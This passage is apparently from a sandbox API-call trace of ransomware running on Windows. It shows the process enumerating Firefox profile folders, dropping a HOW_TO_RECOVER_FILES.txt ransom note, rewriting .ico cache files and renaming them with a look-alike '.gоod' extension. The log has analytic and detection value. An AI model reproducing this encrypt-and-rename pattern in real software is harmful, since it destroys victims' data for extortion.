ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.497] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0221.497] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0221.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0221.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0221.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0221.497] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails", lpFilePart=0x0) returned 0x52 [0221.497] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0221.497] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.497] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0221.497] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0221.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0221.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0221.497] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0221.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edd60) returned 1 [0221.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\thumbnails\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0221.499] GetFileType (hFile=0x864) returned 0x1 [0221.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcd0) returned 1 [0221.499] GetFileType (hFile=0x864) returned 0x1 [0221.499] WriteFile (in: hFile=0x864, lpBuffer=0x36d94f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ede28, lpOverlapped=0x0 | out: lpBuffer=0x36d94f8*, lpNumberOfBytesWritten=0x209ede28*=0x5d0, lpOverlapped=0x0) returned 1 [0221.500] CloseHandle (hObject=0x864) returned 1 [0221.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0221.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache", lpFilePart=0x0) returned 0x55 [0221.504] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0221.506] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.506] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="ArNCV1sMCcHDCRx9IKU0ag==.ico", cAlternateFileName="ARNCV1~1.ICO")) returned 1 [0221.506] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPgBJoau4sGMj94WzxVyBg==.ico", cAlternateFileName="CPGBJO~1.ICO")) returned 1 [0221.507] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18c, dwReserved0=0x0, dwReserved1=0x0, cFileName="d+wy3CvuNcC3WVA6du1bZg==.ico", cAlternateFileName="D_WY3C~1.ICO")) returned 1 [0221.507] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="D8tmBHCfnHdW5LQ0G0tfjA==.ico", cAlternateFileName="D8TMBH~1.ICO")) returned 1 [0221.507] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1587, dwReserved0=0x0, dwReserved1=0x0, cFileName="EwHNXIWqFLgqXSbz3gaSXQ==.ico", cAlternateFileName="EWHNXI~1.ICO")) returned 1 [0221.507] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="q2iyO6SZoS7rh3SnwLJY8w==.ico", cAlternateFileName="Q2IYO6~1.ICO")) returned 1 [0221.507] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.507] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0221.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0221.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0221.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0221.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache", lpFilePart=0x0) returned 0x55 [0221.508] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0221.509] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="ArNCV1sMCcHDCRx9IKU0ag==.ico", cAlternateFileName="ARNCV1~1.ICO")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPgBJoau4sGMj94WzxVyBg==.ico", cAlternateFileName="CPGBJO~1.ICO")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18c, dwReserved0=0x0, dwReserved1=0x0, cFileName="d+wy3CvuNcC3WVA6du1bZg==.ico", cAlternateFileName="D_WY3C~1.ICO")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="D8tmBHCfnHdW5LQ0G0tfjA==.ico", cAlternateFileName="D8TMBH~1.ICO")) returned 1 [0221.512] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1587, dwReserved0=0x0, dwReserved1=0x0, cFileName="EwHNXIWqFLgqXSbz3gaSXQ==.ico", cAlternateFileName="EWHNXI~1.ICO")) returned 1 [0221.512] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="q2iyO6SZoS7rh3SnwLJY8w==.ico", cAlternateFileName="Q2IYO6~1.ICO")) returned 1 [0221.513] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="q2iyO6SZoS7rh3SnwLJY8w==.ico", cAlternateFileName="Q2IYO6~1.ICO")) returned 0 [0221.513] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0221.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0221.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0221.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", lpFilePart=0x0) returned 0x72 [0221.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0221.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), fInfoLevelId=0x0, lpFileInformation=0x36eaba0 | out: lpFileInformation=0x36eaba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484)) returned 1 [0221.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0221.517] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", lpFilePart=0x0) returned 0x72 [0221.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0221.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.518] GetFileType (hFile=0x864) returned 0x1 [0221.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0221.518] GetFileType (hFile=0x864) returned 0x1 [0221.518] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x209edbf8 | out: lpFileSizeHigh=0x209edbf8*=0x0) returned 0x484 [0221.518] ReadFile (in: hFile=0x864, lpBuffer=0x36eb3c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb28, lpOverlapped=0x0 | out: lpBuffer=0x36eb3c0*, lpNumberOfBytesRead=0x209edb28*=0x484, lpOverlapped=0x0) returned 1 [0221.519] CloseHandle (hObject=0x864) returned 1 [0222.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", lpFilePart=0x0) returned 0x72 [0222.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0222.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0222.568] GetFileType (hFile=0x808) returned 0x1 [0222.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0222.568] GetFileType (hFile=0x808) returned 0x1 [0222.568] WriteFile (in: hFile=0x808, lpBuffer=0x35c5ea8*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x209eda38, lpOverlapped=0x0 | out: lpBuffer=0x35c5ea8*, lpNumberOfBytesWritten=0x209eda38*=0x490, lpOverlapped=0x0) returned 1 [0222.569] CloseHandle (hObject=0x808) returned 1 [0222.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", lpFilePart=0x0) returned 0x72 [0222.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico.gоod", lpFilePart=0x0) returned 0x77 [0222.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0222.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x80df328c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0222.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0222.569] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\arncv1smcchdcrx9iku0ag==.ico.gоod")) returned 1 [0222.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", lpFilePart=0x0) returned 0x72 [0222.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0222.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), fInfoLevelId=0x0, lpFileInformation=0x35c7240 | out: lpFileInformation=0x35c7240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9)) returned 1 [0222.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0222.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: 